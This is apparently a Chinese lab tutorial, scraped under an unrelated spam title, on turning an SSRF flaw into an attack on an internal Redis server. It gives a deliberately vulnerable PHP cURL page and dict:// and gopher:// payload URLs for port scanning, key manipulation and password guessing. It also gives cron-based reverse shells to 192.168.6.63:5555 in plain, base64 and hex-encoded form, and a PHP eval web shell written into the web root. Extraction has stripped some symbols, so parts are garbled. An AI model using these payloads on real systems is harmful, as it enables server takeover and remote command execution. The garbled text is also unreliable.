建设部网站安全事故,云企网站建设开发,数字营销seo,wordpress首页在哪SSRFRedis进行内网渗透
一 环境搭建
准备一台服务器#xff0c;开启了lampp以及redis#xff0c;redis只允许内网访问 把上面这个注释放开后#xff0c;redis就只能内网访问 启动redis 使用kali进行端口扫描#xff0c;扫不到6379端口 kali连接不上redis ssrf漏洞代码
Redis进行内网渗透
一 环境搭建
准备一台服务器开启了lampp以及redisredis只允许内网访问 把上面这个注释放开后redis就只能内网访问 启动redis 使用kali进行端口扫描扫不到6379端口 kali连接不上redis ssrf漏洞代码
?php
$url $_GET[url];
// 创建一个cURL资源$ch curl_init();// 设置URL和相应的选项curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, 0);// 抓取URL并把它传递给浏览器curl_exec($ch);// 关闭cURL资源并且释放系统资源curl_close($ch);
?
二 端口探测
httphttp://192.168.6.49/ssrf/ssrf2.php?urlhttp://127.0.0.1:3306http://192.168.6.49/ssrf/ssrf2.php?urlhttp://127.0.0.1:22
dicthttp://192.168.6.49/ssrf/ssrf2.php?urldict://127.0.0.1:6379
三 基于dict协议操作redis
1 查询所有的键
http://192.168.6.49/ssrf/ssrf2.php?urldict://127.0.0.1:6379/keys:* 2 查询redis中某个键的值
http://192.168.6.49/ssrf/ssrf2.php?urldict://127.0.0.1:6379/get:name 3 向redis中存数据
http://192.168.6.49/ssrf/ssrf2.php?urldict://127.0.0.1:6379/set:username:zhangsan http://192.168.6.49/ssrf/ssrf2.php?urldict://127.0.0.1:6379/get:username 四 基于dict协议getshell
1 反弹shell
1 base64编码
http://192.168.6.49/ssrf/ssrf2.php?urldict://127.0.0.1:6379/set:k:\n\n */1 * * * * bash -i /dev/tcp/192.168.6.63/5555 01 \n\n
如果上面的写法存在过滤我们可以把反弹shell转换为base64编码
http://192.168.6.49/ssrf/ssrf2.php?urldict://127.0.0.1:6379/set:k:\n\n */1 * * * * echo YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjYuNjMvNTU1NSAwPiYx|base64 -d|bash \n\n
上面的写法会被服务器过滤对进行url编码(%2B)
http://192.168.6.49/ssrf/ssrf2.php?urldict://127.0.0.1:6379/set:k:\n\n */1 * * * * echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNi42My81NTU1IDA%2BJjE|base64 -d|bash \n\n
http://192.168.6.49/ssrf/ssrf2.php?urldict://127.0.0.1:6379/config:set:dir:/var/spool/cron
http://192.168.6.49/ssrf/ssrf2.php?urldict://127.0.0.1:6379/config:set:dbfilename:root
http://192.168.6.49/ssrf/ssrf2.php?urldict://127.0.0.1:6379/save
2 十六进制编码
python十六进制编码算法
def encode_to_hex(input_string):encoded_string for char in input_string:# 将每个字符转换为它的十六进制表示并添加前缀 \xencoded_string f\\x{ord(char):02x}return encoded_string
# 原始PHP代码
original_php_code bash -i /dev/tcp/192.168.6.63/5555 01# 转换为十六进制编码
encoded_php_code encode_to_hex(original_php_code)print(encoded_php_code) http://192.168.6.49/ssrf/ssrf2.php?urldict://127.0.0.1:6379/set:k:\n\n */1 * * * * \x62\x61\x73\x68\x20\x2d\x69\x20\x3e\x26\x20\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x31\x39\x32\x2e\x31\x36\x38\x2e\x36\x2e\x36\x33\x2f\x35\x35\x35\x35\x20\x30\x3e\x26\x31 \n\n 十六进制编码必须使用双引号引起来 http://192.168.6.49/ssrf/ssrf2.php?urldict://127.0.0.1:6379/config:set:dir:/var/spool/cron
http://192.168.6.49/ssrf/ssrf2.php?urldict://127.0.0.1:6379/config:set:dbfilename:root
http://192.168.6.49/ssrf/ssrf2.php?urldict://127.0.0.1:6379/save
2 写一句话木马
先尝试写入明文的一句话木马发现报错不能写入
http://192.168.6.49/ssrf/ssrf2.php?urldict://127.0.0.1:6379/set:k:\n\n ?php eval($_POST[0]); ? \n\n 对一句话木马进行十六进制编码 \x3c\x3f\x70\x68\x70\x20\x20\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x30\x5d\x29\x3b\x20\x3f\x3e
在写入一句话木马
http://192.168.6.49/ssrf/ssrf2.php?urldict://127.0.0.1:6379/set:k:\n\n \x3c\x3f\x70\x68\x70\x20\x20\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x30\x5d\x29\x3b\x20\x3f\x3e \n\n 十六进制编码必须使用双引号引起来 http://192.168.6.49/ssrf/ssrf2.php?urldict://127.0.0.1:6379/config:set:dir:/opt/lampp/htdocs
http://192.168.6.49/ssrf/ssrf2.php?urldict://127.0.0.1:6379/config:set:dbfilename:shell__.php
http://192.168.6.49/ssrf/ssrf2.php?urldict://127.0.0.1:6379/save
3 写入公钥
略
4 密码爆破
如果redis有密码可以尝试进行密码爆破
修改redis的配置文件给redis设置密码 利用dict协议暴破Redis密码
http://192.168.6.49/ssrf/ssrf2.php?urldict://127.0.0.1:6379/auth:123456
五 redis通信的数据格式
1 环境
1 开启redis的远程访问
2 给redis设置密码
3 启动redis服务
4 CentOS和kali都使用NAT模式
2 在kali上连接redis
┌──(root㉿kali)-[~]
└─# redis-cli -h 192.168.214.129
192.168.214.129:6379
3 使用Wireshark抓包
登录redis
┌──(root㉿kali)-[~]
└─# redis-cli -h 192.168.214.129
192.168.214.129:6379 auth 123456
OK
*2 命令中单词的个数
$4 单词的长度
auth
$6 单词的长度
123456
向redis中存数据
192.168.214.129:6379 set name woniu
OK
*3
$3
set
$4
name
$5
woniu
查询redis的数据
192.168.214.129:6379 get name
woniu
*2
$3
get
$4
name
六 基于gopher协议操作redis
1 gopher简介
gopher协议信息查找协议,一般用来攻击redismysql等服务。其利用的数据格式 gopher://ip:端口/_数据数据的前面需要有_数据一般需要进行url编码。
2 gopher跟dict的区别
dict协议只支持单条命令而gopher协议支持批量命令。比如针对redis操作当redis有密码时dict无能为了而gopher可以很好的完成。
3 实验
1)把数据整理成一行
*2\r\n$4\r\nauth\r\n$6\r\n123456\r\n*3\r\n$3\r\nset\r\n$4\r\nname\r\n$5\r\nwoniu\r\n
2)使用python对上面的数据进行url编码
import urllib.parsecommand *2\r\n$4\r\nauth\r\n$6\r\n123456\r\n*3\r\n$3\r\nset\r\n$4\r\nname\r\n$5\r\nwoniu\r\n
payload urllib.parse.quote(command)
print(payload)
编码后的结果
%2A2%0D%0A%244%0D%0Aauth%0D%0A%246%0D%0A123456%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%244%0D%0Aname%0D%0A%245%0D%0Awoniu%0D%0A
3)使用浏览器再进行一次url编码 %25%32%41%32%25%30%44%25%30%41%25%32%34%34%25%30%44%25%30%41%61%75%74%68%25%30%44%25%30%41%25%32%34%36%25%30%44%25%30%41%31%32%33%34%35%36%25%30%44%25%30%41%25%32%41%33%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%73%65%74%25%30%44%25%30%41%25%32%34%34%25%30%44%25%30%41%6e%61%6d%65%25%30%44%25%30%41%25%32%34%35%25%30%44%25%30%41%77%6f%6e%69%75%25%30%44%25%30%41
4使用ssrf漏洞向redis发请求
http://192.168.214.129/ssrf/ssrf2.php?urlgopher://127.0.0.1:6379/_%25%32%41%32%25%30%44%25%30%41%25%32%34%34%25%30%44%25%30%41%61%75%74%68%25%30%44%25%30%41%25%32%34%36%25%30%44%25%30%41%31%32%33%34%35%36%25%30%44%25%30%41%25%32%41%33%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%73%65%74%25%30%44%25%30%41%25%32%34%34%25%30%44%25%30%41%6e%61%6d%65%25%30%44%25%30%41%25%32%34%35%25%30%44%25%30%41%77%6f%6e%69%75%25%30%44%25%30%41